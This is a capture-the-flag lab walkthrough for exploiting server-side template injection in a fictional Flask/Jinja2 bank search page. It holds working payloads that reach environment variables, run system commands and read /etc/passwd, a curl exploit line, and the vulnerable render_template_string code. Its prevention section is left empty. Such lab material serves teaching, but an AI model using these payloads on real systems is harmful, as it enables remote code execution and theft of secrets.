SecureBank's advanced search feature boasts dynamic template processing for personalized results. But when user input meets template engines without proper sanitization, the server might just execute more than they bargained for. 🚀 Time to turn their templates against them!
Server-Side Template Injection occurs when user input is embedded into template engines without proper sanitization. In Flask applications using Jinja2, this can lead to remote code execution through Python object introspection and access to system functions.
Navigate to <target-ip> to access the SecureBank customer portal. Explore the application and discover the search functionality at <target-ip>/search. The search feature mentions "advanced template processing for personalized results" - a strong indicator of potential SSTI vulnerability.
Test the search functionality for template injection vulnerabilities using mathematical expressions:
# Test basic math injection
Search query: {{7*7}}
Expected result: 49
# URL encoded version:
%7B%7B7*7%7D%7D
# Test Jinja2 syntax
{{7*'7'}}
Expected: 7777777
# Test object access
{{''.__class__}}
# Trigger template errors
{{undefined_variable}}
# Invalid syntax
{{7*}}
When you search for {{7*7}}
, observe that the search results show "Search Results for: 49" instead of "Search Results for: {{7*7}}". This confirms that the template engine is executing the mathematical expression, indicating a successful SSTI vulnerability.
Exploit Python's object model to access system functions through Jinja2 template injection:
# Access base object classes
{{''.__class__.__mro__}}
# List all subclasses
{{''.__class__.__mro__[1].__subclasses__()}}
# Find useful classes (like subprocess.Popen)
{{''.__class__.__mro__[1].__subclasses__()[104]}}
The flag is stored in the FLAG environment variable. Use Python object introspection to access the os module and extract environment variables:
# Access os module through globals
{{ [].__class__.__base__.__subclasses__()[104].__init__.__globals__['sys'].modules['os'].environ['FLAG'] }}
# Find subprocess.Popen class
{{ [].__class__.__base__.__subclasses__()[104].__init__.__globals__['sys'].modules['os'].environ }}
Construct the final SSTI payload to extract the flag:
Raw Payload:
{{ [].__class__.__base__.__subclasses__()[104].__init__.__globals__['sys'].modules['os'].environ['FLAG'] }}
URL Encoded Payload:
%7B%7B%20%5B%5D.__class__.__base__.__subclasses__%28%29%5B104%5D.__init__.__globals__%5B%27sys%27%5D.modules%5B%27os%27%5D.environ%5B%27FLAG%27%5D%20%7D%7D
# Execute SSTI payload
curl "http://<target-ip>/search?q=%7B%7B%20%5B%5D.__class__.__base__.__subclasses__%28%29%5B104%5D.__init__.__globals__%5B%27sys%27%5D.modules%5B%27os%27%5D.environ%5B%27FLAG%27%5D%20%7D%7D"
When the SSTI payload is executed successfully, the search results will display the flag value in the search results. This confirms successful remote code execution and extraction of the flag from the server's environment variables.
# Execute system commands
{{ [].__class__.__base__.__subclasses__()[104]('id', shell=True, stdout=-1).communicate()[0].strip() }}
# Read files
{{ [].__class__.__base__.__subclasses__()[104].__init__.__globals__['sys'].modules['os'].popen('cat /etc/passwd').read() }}
The Flask application contains vulnerable code in the search function:
template = f"""
<div class="search-results">
<h3>Search Results for: {query}</h3>
<p>Found {len(results)} results</p>
</div>
"""
rendered_template = render_template_string(template)
The user input query
is directly embedded into the template string without sanitization, allowing template injection.
SSTI vulnerabilities can lead to:
To prevent SSTI vulnerabilities:
Sign-in to your account to access your hacking courses and cyber security labs.
Access all hacking courses and cyber security labs.